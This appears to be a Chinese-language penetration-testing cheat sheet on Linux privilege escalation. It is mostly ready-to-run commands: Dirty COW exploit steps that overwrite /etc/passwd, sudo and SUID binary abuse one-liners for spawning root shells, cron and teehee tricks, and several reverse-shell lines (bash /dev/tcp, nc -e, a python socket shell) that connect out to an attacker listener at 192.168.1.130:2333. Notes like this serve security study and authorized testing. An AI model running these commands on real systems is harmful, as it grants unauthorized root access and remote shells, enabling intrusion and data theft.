这篇文章介绍一下Linux权限提升。
0x01 Linux常用命令
1 | uname -a #查看内核/操作系统/cpu信息 |
0x02 反弹shell命令
看这里:https://www.yuque.com/uf9n1x/websec/iwqdgysqmsugxm41
0x03 一些小问题
1、python实现交互式shell终端
有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
1 | python-c'importpty;pty.spawn("/bin/bash")' |
使用su命令提示错误:
2、解决linux反弹shell乱码
2.1.建立交互shell
1 | kali nc -lvnp 2333 |
2.2.使用python shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
2.3.放置后台
crtl +z 放在后台
2.4.设置格式
1 | stty raw -echo |
2.5.fg命令再调用即可
0x04 Linux内核漏洞提权( 利用searchsploit搜索)
通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在
apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,
ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。
1. 内核溢出提权
\1) 内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击
1 | //查看发行版本:这些命令作用都差不多,获取一些信息 |
\2) 利用kali自带的 searchsploit 来搜索对应版本的exp:(也可以直接去官网找https://www.exploit-db.com/)
1 | searchspoit 发行版本内核版本 |
3)找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件):
1 | searchsploit -x linux/local/47169.c |
4)之后就是将脚本上传到目标机,进行编译,赋权,执行了。
1.如果有其他webshell,有上传权限,那就把这个脚本拿出来,上传上去,再执行就好。
**2.如果没有其他上传途径,可以在攻击方本地开一个http服务,让目标来下载也行:(**开的服务默认在根目录起始)
1 | python3 -m http-server 80 |
之后将脚本放到根目录,然后目标机来下载即可:
1 | wget http://192.168.1.130/47169.c -O /tmp/47169.c |
5)编译,加权限,执行
1 | gcc 47169.c -o exp |
1.1 Linux_Exploit_Suggester
下载地址:https://github.com/mzet-/linux-exploit-suggester
很好用的一款提权辅助工具,用法很简单,在靶机上执行./linux-exploit-suggester.sh就会列出该靶机上可利用的漏洞编号.
2. 脏牛提权CVE-2016-5195
exp Github下载:
https://github.com/FireFart/dirtycow
编译好的exp,包含Android平台与Linux平台版本
https://github.com/Brucetg/DirtyCow-EXP
脏牛系统提权范围:****linux内核=>2.6.22
1 | ● RHEL7 Linux x86_64 |
漏洞成因:
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
演示:
1)使用dirty.c脚本进行提权
该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
1.下载/上传该脚本到目标机下:
1 | git clone https://github.com/FireFart/dirtycow |
2.编译该脚本:
1 | gcc -pthread dirty.c -o dirty -lcrypt |
3.添加可执行权限并执行
1 | chmod +x ./dirty |
4.之后就可以直接用密码999999登录root权限账户firefart
1 | su firefart |
\5. 不要忘记在运行漏洞利用后恢复您的 /etc/passwd
1 | mv /tmp/passwd.bak /etc/passwd |
原理是利用exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!
2)使用CVE-2016-5195提权
https://github.com/gbonacini/CVE-2016-5195
1.下载脚本到目标机器:
1 | git clone https://github.com/gbonacini/CVE-2016-5195.git |
2.编译成可执行文件
1 | 使用 g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil |
3.执行脚本
1 | ./dcow -s |
3.CVE-2017-16995 ubuntu内核漏洞
1)影响版本
1 | Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响) |
2)利用步骤
1 | Linux本地内核提权 CVE-2017-16995 |
0x05 滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)
以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限。 并且还要知道当前用户的密码
可以利用sudo提权的命令如下 :
1 | wget、find、cat、apt、zip、xxd、time、taskset、 |
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。
是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。
当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。
在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。
查看用户能以root权限运行的命令:列出目前的权限
1 | sudo -l |
表示全可以执行
01.git 提权
1 | sudo git help add |
02.find提权
普通用户find命令提权必要条件:find必须有s执行权限,有s表示可以提权
先查看find命令有没有提权的可能:
尝试执行whoami :
1 | find / -type f -name getroot -exec "whoami" \; |
尝试调出一个交互式的bin/sh并且是root权限
1 | sudo find /home -exec /bin/bash \; |
此shell 为不完整的shell, 升级交互式。
1 | 在反弹shell上执行 |
用find进行反弹shell
1 | find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \; |
利用find+nc反弹shell
1 | find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \; |
find+python进行反弹shell
1 | find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; |
03.zip提权( 核心sudo没有该命令,失效 )
zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell
\1. 下载zip(如果没有)apt install zip
\2. 创建一个1.txt,将其压缩为1.zip
\3. 执行
1 | touch 1.txt |
04.awk/morpheus提权
1 | sudo awk 'BEGIN {system("/bin/sh")}' |
05.less**/more**提权
1 | sudo less /etc/hosts |
06.man提权
1 | sudo man man |
07.env提权
1 | sudo env /bin/bash |
08.ed提权
1 | sudo ed |
09.apt提权
1 | TF=$(mktemp) |
10.pip提权
1 | TF=$(mktemp -d) |
11.sed提权
1 | sudo sed -n '1e exec sh 1>&0' /etc/passwd |
12.tmux提权
1 | sudo tmux |
13.nmap提权
版本5.0一下
*进入nmap交互模式 *
1 | sudo nmap --interactive |
14.taskset提权
1 | sudo taskset 1 /bin/sh -p |
15.scp提权
1 | TF=$(mktemp) |
16.ftp提权
1 | sudo ftp |
17.perl提权
1 | sudo perl -e 'exec "/bin/bash";' |
0x06.不需要sudo执行权限的提权方式
01.wget提权(可能也需要sudo)
1 | #kali上监听 |
此时,kali上拿到了hash.txt
02.Ubuntu计划任务提权(配合suid提权)
对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!
列出系统中的一些计划任务:
1 | ls -l /etc/cron* |
crontab -l查看当前用户命令
/var/spool/cron/crontabs/root这个目录是root任务文件默认是不是root权限是看不到
tail-f/var/log/syslog
查看日志文件发现root每一分钟会执行一次cleanup.py文件
修改内容反弹shell
如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。
比如把shell复制到tmp目录下其次给权限
1 | cp /bin/bash /tmp/bash; chmod u+s /tmp/bash; |
或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。
03. teehee提权
teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可
1 | echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd //提权语句 |
04.脚本ping提权
核心ping和gcc没有则无法实现
1 | vi 2.sh |
05 寻找高权限用户提权
拿到shell后进入开始寻找
1 | cat /etc/passwd (查看是否存在高权限用户) |
06 screen提权
步骤和其他服务(exim4,apache,linux内核…)查询一样的都是searchsploit加服务然后上传运行
1 | searchsploit screen 版本号 |
07 SUID提权
注意:suid提权是短暂的,能帮我们以root权限执行指定的命令
1)什么是SUID
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?
1 | 1、SUID权限仅对二进制程序(binary program)有效; |
SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。
2)用此命令即可 找到具有 SUID 权限的参数:
1 | find / -perm -u=s -type f 2>/dev/null |
会查找到很多。常见suid提权文件有:
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
在后面,看到 find 也具有 SUID权限。 (因此这里以find为例) 那么我们就可以进行进一步提权了。
1.切换到 tmp 目录
2.输入whoami 可以看到我们还是普通用户 ,那么我们使用具有SUID权限的find 命令 是否能够成功提权呢?
3.我们需要先创建文件,因为find 命令 需要一个指向性的查找。
4.执行命令提权:
1 | find test.txt -exec whoami \; |
用find进行反弹shell
1 | find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \; |
利用find+nc反弹shell
1 | find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \; |
find+python进行反弹shell
1 | find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; |
其他利用方式:
1 | find命令 |
更多suid利用方式:https://gtfobins.github.io/gtfobins
如https://blog.csdn.net/qq_51524329/article/details/121962005
常用指令提权方法
命令 利用方法
1 | 命令 利用方法 |
0x07 udf提权
https://view.inews.qq.com/a/20220612A022PB00
https://blog.csdn.net/qq_44881113/article/details/118907122
0x08 还需要消化的一些好文章:
https://cloud.tencent.com/developer/article/1942516
https://www.secpulse.com/archives/72965.html